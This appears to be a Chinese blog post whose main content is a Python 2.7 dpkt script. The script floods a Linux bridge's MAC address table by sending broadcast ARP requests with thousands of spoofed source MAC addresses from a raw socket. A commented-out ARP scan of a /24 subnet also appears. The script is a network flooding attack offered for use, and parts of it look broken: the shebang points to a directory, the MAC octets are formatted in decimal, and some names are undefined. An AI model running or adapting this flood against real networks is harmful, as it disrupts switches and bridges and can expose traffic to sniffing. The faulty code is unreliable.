发包,使 linux bridge mac 地址 充满的 python 程序

程序 在 python 2.7  下试验,  安装    dpkt  包



#!/home/zsr/myp27/huanjing/bin
#import sendpkt
import dpkt
import os
import re
import socket
import struct
import string
import sys
import signal
iface = "eth1"
mac   = "00:09:5B:98:0D:85"
inet  = "10.29.1.61"
debug = False
# this should be somewhere is dpkt ?
ETH_ADDR_BROADCAST = '\xff\xff\xff\xff\xff\xff'
ETH_ADDR_UNSPEC = '\x00\x00\x00\x00\x00\x00'
def eth_ntoa(buffer):
    # Convert binary data into a string.
    macaddr = ''
    for intval in struct.unpack('BBBBBB', buffer):
        if intval > 15:
            replacestr = '0x'
        else:
            replacestr = 'x'
        macaddr = ''.join([macaddr, hex(intval).replace(replacestr, '')])
    return macaddr
def eth_aton(buffer):
    addr =''
    temp = string.split(buffer,':')
    buffer = string.join(temp,'')
    # Split up the hex values and pack.
    for i in range(0, len(buffer), 2):
        addr = ''.join([addr,struct.pack('B', int(buffer[i: i + 2], 16))],)
    return addr
def buildArp(addr,mymac):
    arp_p = dpkt.arp.ARP()
    arp_p.sha = eth_aton(mac)          # sender hardware addr
    arp_p.spa = socket.inet_aton(inet) # sender ip addr
    arp_p.tha = ETH_ADDR_UNSPEC        # dest hardware addr
    arp_p.tpa = socket.inet_aton(addr) # ip addr of request
    arp_p.op = dpkt.arp.ARP_OP_REQUEST
    packet = dpkt.ethernet.Ethernet()
    packet.src = eth_aton(mymac)
    packet.dst = ETH_ADDR_BROADCAST
    packet.data = arp_p
    packet.type = dpkt.ethernet.ETH_TYPE_ARP
    if debug: print dpkt.hexdump(str(packet))
    return packet

"""
def quit(signum,frame):
    print "Scan ended.."
    sys.exit(0)
signal.alarm(2)
signal.signal(signal.SIGALRM,quit)
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((iface,dpkt.ethernet.ETH_TYPE_ARP))
for i in range (1,255):
    addr = "10.29.1.%s" % i
    packet = buildArp(addr)
    s.send(str(packet))
print "Results..."
while 1:
    data = s.recv(1024)
    if debug: print dpkt.hexdump(data)
    sys.stdout.flush()
    answer = ethernet.Ethernet(data)
    arp_p = answer.data
    orig = socket.inet_ntoa( arp_p.spa )
    mac_add = eth_ntoa( arp_p.sha)
    dest = socket.inet_ntoa( arp_p.tpa )
    if debug:print dpkt.hexdump( str(arp_p) )
    if arp_p.op != arp.ARP_OP_REQUEST:
        if dest ==  inet:
            print "Anser:  %s is at %s"  % (orig,mac_add)
        else:
            print "Not for me.. Origin:%s Target:%s Answer:%s" % (orig, dest,mac_add)
    else:
        if debug:print "Host %s look for address of %s" % (orig,dest)

"""


#if  __name__==__main__:
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((iface,dpkt.ethernet.ETH_TYPE_ARP))
for i in range (1,255):

    for j in range(1,201):
        addr = "10.29.1.%s" % i
        mymac=  "00:09:5B:98:%s:%s" % (j,i)
        
        packet = buildArp(addr, mymac)
        s.send(str(packet))


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值